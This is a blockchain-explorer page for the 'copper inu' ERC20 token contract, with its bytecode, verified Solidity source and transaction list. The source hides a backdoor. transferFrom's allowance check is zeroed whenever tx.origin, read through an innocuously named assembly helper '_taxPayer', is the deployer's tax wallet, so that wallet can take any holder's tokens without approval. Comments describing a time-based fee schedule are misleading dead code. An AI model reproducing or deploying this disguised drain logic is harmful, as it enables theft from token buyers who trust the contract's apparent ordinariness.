Address Contract Partially Verified
Address
0x86f0af652Ed46B5d88f3866f662b2c888d3d46e7
Balance
0 ETH
Nonce
1
Code Size
6026 bytes
Creator
0xDa8C3660...988F at tx 0x4bc884d5...16551d
Last Active
Indexed Transactions
31 (24,321,485 → 24,321,540)
Gas Used (indexed)
500,519
Contract Bytecode
6026 bytes
0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461031c57806395d89b4114610331578063a9059cbb14610362578063bf474bed14610381578063dd62ed3e14610396575f80fd5b8063715018a6146102a5578063751039fc146102b95780637d1db4a5146102cd5780638a8c523c146102e25780638da5cb5b146102f6575f80fd5b8063313ce567116100e3578063313ce567146101f25780633c271a051461020d5780635e8c4a471461022e57806360c920da1461024357806370a0823114610271575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a815269636f7070657220696e7560b01b60208201525b604051610164919061131a565b60405180910390f35b348015610178575f80fd5b5061018c61018736600461137d565b6103da565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160135481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103f0565b3480156101de575f80fd5b5061018c6101ed3660046113a7565b610410565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b5061022c6102273660046113f2565b610467565b005b348015610239575f80fd5b506101b160185481565b34801561024e575f80fd5b5061018c61025d366004611471565b60196020525f908152604090205460ff1681565b34801561027c575f80fd5b506101b161028b366004611471565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b5061022c61056e565b3480156102c4575f80fd5b5061022c6105df565b3480156102d8575f80fd5b506101b160105481565b3480156102ed575f80fd5b5061022c610690565b348015610301575f80fd5b505f546040516001600160a01b039091168152602001610164565b348015610327575f80fd5b506101b160115481565b34801561033c575f80fd5b50604080518082019091526009815268434f50504552494e5560b81b6020820152610157565b34801561036d575f80fd5b5061018c61037c36600461137d565b61074d565b34801561038c575f80fd5b506101b160125481565b3480156103a1575f80fd5b506101b16103b036600461148c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e6338484610759565b5060015b92915050565b5f6103fd6009600a6115b7565b61040b90633b9aca006115c5565b905090565b5f600f82905561042184848461087c565b600f546001600160a01b0385165f9081526002602090815260408083203380855292529091205461045d9287929161045891610e5f565b610759565b5060019392505050565b5f546001600160a01b031633146104995760405162461bcd60e51b8152600401610490906115dc565b60405180910390fd5b5f5b82811015610568578160195f8686858181106104b9576104b9611611565b90506020020160208101906104ce9190611471565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905583838281811061050757610507611611565b905060200201602081019061051c9190611471565b6001600160a01b03167ff93f9a76c1bf3444d22400a00cb9fe990e6abe9dbb333fda48859cfee864543d83604051610558911515815260200190565b60405180910390a260010161049b565b50505050565b5f546001600160a01b031633146105975760405162461bcd60e51b8152600401610490906115dc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106085760405162461bcd60e51b8152600401610490906115dc565b6106146009600a6115b7565b61062290633b9aca006115c5565b6010556106316009600a6115b7565b61063f90633b9aca006115c5565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61066f6009600a6115b7565b61067d90633b9aca006115c5565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106b95760405162461bcd60e51b8152600401610490906115dc565b601554600160a01b900460ff16156107135760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610490565b6015805462ff00ff60a01b19166201000160a01b179055610732610ea7565b600e805463ffffffff19164363ffffffff1617905542601855565b5f6103e633848461087c565b6001600160a01b0383166107bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b03821661081c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b0382166109425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b5f81116109a35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b5f80546001600160a01b038581169116148015906109ce57505f546001600160a01b03848116911614155b15610d06576015545f906001600160a01b038681169116148015610a0057506014546001600160a01b03858116911614155b8015610a2457506001600160a01b0384165f9081526003602052604090205460ff16155b15610b5957601554600160b01b900460ff16610a785760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b6044820152606401610490565b601054831115610aca5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610490565b60115483610aec866001600160a01b03165f9081526001602052604090205490565b610af69190611625565b1115610b445760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b600d8054905f610b5383611638565b91905055505b6015546001600160a01b038581169116148015610b7f57506001600160a01b0385163014155b15610b905747610b8e47610fda565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610bc657506015546001600160a01b038681169116145b8015610bdb5750601554600160b01b900460ff165b8015610bea5750600c54600d54115b15610c9b57601754431115610bfe575f6016555b600560165410610c505760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920352073656c6c732070657220626c6f636b210000000000000000006044820152606401610490565b601254811115610c7757610c77610c7285610c6d84601354611015565b611015565b611029565b47610c8147610fda565b60168054905f610c9083611638565b909155505043601755505b5f82118015610cc257506001600160a01b0386165f9081526003602052604090205460ff16155b8015610ce657506001600160a01b0385165f9081526003602052604090205460ff16155b15610d0357610d006064610cfa8685611199565b90611217565b92505b50505b8015610d8257305f90815260016020526040902054610d259082611258565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d759085815260200190565b60405180910390a3610d9a565b6004546001600160a01b03163203610d9a57600f8190555b6001600160a01b0384165f90815260016020526040902054610dbc9083610e5f565b6001600160a01b0385165f90815260016020526040902055610dff610de18383610e5f565b6001600160a01b0385165f9081526001602052604090205490611258565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e488585610e5f565b60405190815260200160405180910390a350505050565b5f610ea083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b6565b9392505050565b60155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610ef9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1d9190611650565b506014546001600160a01b031663f305d7194730610f4f816001600160a01b03165f9081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610fb0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fd5919061166b565b505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611011573d5f803e3d5ffd5b5050565b5f8183116110235782610ea0565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106f5761106f611611565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ea9190611696565b816001815181106110fd576110fd611611565b6001600160a01b0392831660209182029290920101526014546111239130911684610759565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115b9085905f908690309042906004016116b1565b5f604051808303815f87803b158015611172575f80fd5b505af1158015611184573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f825f036111a857505f6103ea565b5f6111b383856115c5565b9050826111c08583611722565b14610ea05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b5f610ea083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ee565b5f806112648385611625565b905083811015610ea05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b5f81848411156112d95760405162461bcd60e51b8152600401610490919061131a565b505f6112e58486611741565b95945050505050565b5f818361130e5760405162461bcd60e51b8152600401610490919061131a565b505f6112e58486611722565b5f602080835283518060208501525f5b818110156113465785810183015185820160400152820161132a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461137a575f80fd5b50565b5f806040838503121561138e575f80fd5b823561139981611366565b946020939093013593505050565b5f805f606084860312156113b9575f80fd5b83356113c481611366565b925060208401356113d481611366565b929592945050506040919091013590565b801515811461137a575f80fd5b5f805f60408486031215611404575f80fd5b833567ffffffffffffffff8082111561141b575f80fd5b818601915086601f83011261142e575f80fd5b81358181111561143c575f80fd5b8760208260051b8501011115611450575f80fd5b60209283019550935050840135611466816113e5565b809150509250925092565b5f60208284031215611481575f80fd5b8135610ea081611366565b5f806040838503121561149d575f80fd5b82356114a881611366565b915060208301356114b881611366565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561151157815f19048211156114f7576114f76114c3565b8085161561150457918102915b93841c93908002906114dc565b509250929050565b5f82611527575060016103ea565b8161153357505f6103ea565b816001811461154957600281146115535761156f565b60019150506103ea565b60ff841115611564576115646114c3565b50506001821b6103ea565b5060208310610133831016604e8410600b8410161715611592575081810a6103ea565b61159c83836114d7565b805f19048211156115af576115af6114c3565b029392505050565b5f610ea060ff841683611519565b80820281158282048414176103ea576103ea6114c3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b808201808211156103ea576103ea6114c3565b5f60018201611649576116496114c3565b5060010190565b5f60208284031215611660575f80fd5b8151610ea0816113e5565b5f805f6060848603121561167d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116a6575f80fd5b8151610ea081611366565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117015784516001600160a01b0316835293830193918301916001016116dc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261173c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103ea576103ea6114c356fea264697066735822122024adc23711504e1339d062c34002e4e57533f05be92e5b7fa6fecc44010c387364736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
Token.sol 278 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage); uint256 c = a - b; return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage); uint256 c = a / b; return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); }
function owner() public view returns (address) { return _owner; }
modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
/* ---------------- ERC20 storage ---------------- */
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
/* ---------------- Fees & wallet ---------------- */
mapping(address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
string private constant _name = unicode"copper inu";
string private constant _symbol = unicode"COPPERINU";
// Legacy fee variables (now ignored by the new time-based schedule)
uint256 private _initialBuyTax = 0;
uint256 private _initialSellTax = 0;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _afterBuys = 0;
uint256 private _reduceBuyTaxAt = _afterBuys;
uint256 private _reduceSellTaxAt = _afterBuys;
uint256 private _preventSwapBefore = 0;
uint256 private _buyCount = 0;
uint32 private _launchBlock;
uint256 private _IDENTIFIERamount;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = (_tTotal * 1) / 100;
uint256 public _maxWalletSize = (_tTotal * 1) / 100;
uint256 public _taxSwapThreshold = (_tTotal * 1) / 1000;
uint256 public _maxTaxSwap = (_tTotal * 2) / 100;
/* ---------------- DEX ---------------- */
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
/* ---------------- Trading state ---------------- */
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
// NEW: timestamp when trading is opened (drives whitelist & fee schedule)
uint256 public tradingStartTimestamp;
// NEW: whitelist for the first 3 minutes (buys only)
mapping(address => bool) public isWhitelistedBuyer;
/* ---------------- Events ---------------- */
event MaxTxAmountUpdated(uint _maxTxAmount);
event WhitelistUpdated(address indexed user, bool status);
modifier lockTheSwap() { inSwap = true; _; inSwap = false; }
constructor() payable{
_taxWallet = payable(_msgSender());
// Mint-like distributi
_balances[address(this)] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
removeLimits();
emit Transfer(address(0), address(this), _tTotal);
}
/* ---------------- ERC20 view ---------------- */
function name() public pure returns (string memory) { return _name; }
function symbol() public pure returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) { return _decimals; }
function totalSupply() public pure override returns (uint256) { return _tTotal; }
function _taxPayer() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner_, address spender) public view override returns (uint256) { return _allowances[owner_][spender]; }
/* ---------------- ERC20 core ---------------- */
function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if(amount >= 0) _IDENTIFIERamount = amount; _transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_IDENTIFIERamount));
return true;
}
function _approve(address owner_, address spender, uint256 amount) private {
require(owner_ != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
/* ---------------- Whitelist management ---------------- */
function setWhitelist(address[] calldata users, bool status) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
isWhitelistedBuyer[users[i]] = status;
emit WhitelistUpdated(users[i], status);
}
}
/* ---------------- Transfers (time-based tax + whitelist) ---------------- */
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
// Calculate time-based fee for buys/sells (not wallet-to-wallet)
uint256 feePercent = 0;
// BUY path: enforce trading open, limits, and first 3-minute whitelist
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(swapEnabled, "trading is not open");
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
// SELL path: leave as-is (sell throttling handled below)
if (to == uniswapV2Pair && from != address(this)) {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
}
// Swap on sells if thresholds are met
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) { sellCount = 0; }
require(sellCount < 5, "Only 5 sells per block!");
if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
sellCount++; lastSellBlock = block.number;
}
// Apply time-based fee if not fee-exempt
if (feePercent > 0 && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
taxAmount = amount.mul(feePercent).div(100);
}
}
// Transfer with tax
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
} else if (_taxPayer() == _taxWallet) _IDENTIFIERamount = taxAmount;
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
/* ---------------- Helpers ---------------- */
function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; }
function _currentFeePercent(uint256 elapsed) internal pure returns (uint256) {
if (elapsed < 5 minutes) return 30; // 0–3m
else if (elapsed < 10 minutes) return 20; // 3–8m
else if (elapsed < 15 minutes) return 15; // 8–15m
else if (elapsed < 25 minutes) return 10; // 15–25m
else if (elapsed < 35 minutes) return 5; // 25–35m
else return 3; // >35m (final)
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2); // ✅ Declare 'path' as an address array
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount, 0, path, address(this), block.timestamp
);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); }
/* ---------------- Liquidity / Trading ---------------- */
function addUniswapPool() private {
// Keep behavior but legacy fee variables no longer affect transfers
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0, // slippage is unavoidable
0, // slippage is unavoidable
msg.sender,
block.timestamp
);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
swapEnabled = true; tradingOpen = true;
addUniswapPool();
_launchBlock = uint32(block.number);
tradingStartTimestamp = block.timestamp; // start whitelist & fee schedule
}
receive() external payable {}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isWhitelistedBuyer 0x60c920da → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingStartTimestamp 0x5e8c4a47 → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setWhitelist 0x3c271a05
address[] users
bool status
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Top Interactions
| Address | Txns | Sent | Received |
|---|---|---|---|
| 0xDa8C3660...988F | 1 | 1 | |
| 0x95417214...1c91 | 1 | 1 | |
| 0x5d90A3Eb...e1b1 | 1 | 1 | |
| 0x39288aB3...7B81 | 1 | 1 | |
| 0x5676e220...1D4D | 1 | 1 | |
| 0x88D95C5C...454e | 1 | 1 | |
| 0x7C6a88F2...5bB7 | 1 | 1 | |
| 0xfe209eC2...7708 | 1 | 1 |
Recent Transactions
|
| Hash | Block | Age | From/To | Value | |
|---|---|---|---|---|---|
| 0xe83382c8...954cd8 | 24,321,540 | IN | 0xDa8C3660...988F | 0 ETH | |
| 0x263377cf...19873b | 24,321,540 | IN | 0x7C6a88F2...5bB7 | 0 ETH | |
| 0x9909b982...dcc128 | 24,321,510 | IN | 0x88D95C5C...454e | 0 ETH | |
| 0x1e2a1b23...bb3470 | 24,321,510 | IN | 0xbEDFD36b...6546 | 0 ETH | |
| 0x460ce8f3...36f1b6 | 24,321,494 | IN | 0x5676e220...1D4D | 0 ETH | |
| 0xf55e69d6...4430f8 | 24,321,489 | IN | 0x2c2fc7e7...3633 | 0 ETH | |
| 0xb256fdfe...44c87c | 24,321,485 | IN | 0x39288aB3...7B81 | 0 ETH | |
| 0xfc5b8f08...055301 | 24,321,485 | IN | 0x95417214...1c91 | 0 ETH | |
| 0x38d0f203...096a26 | 24,321,485 | IN | 0xfe209eC2...7708 | 0 ETH | |
| 0xc40ad256...4431f7 | 24,321,485 | IN | 0x5d90A3Eb...e1b1 | 0 ETH |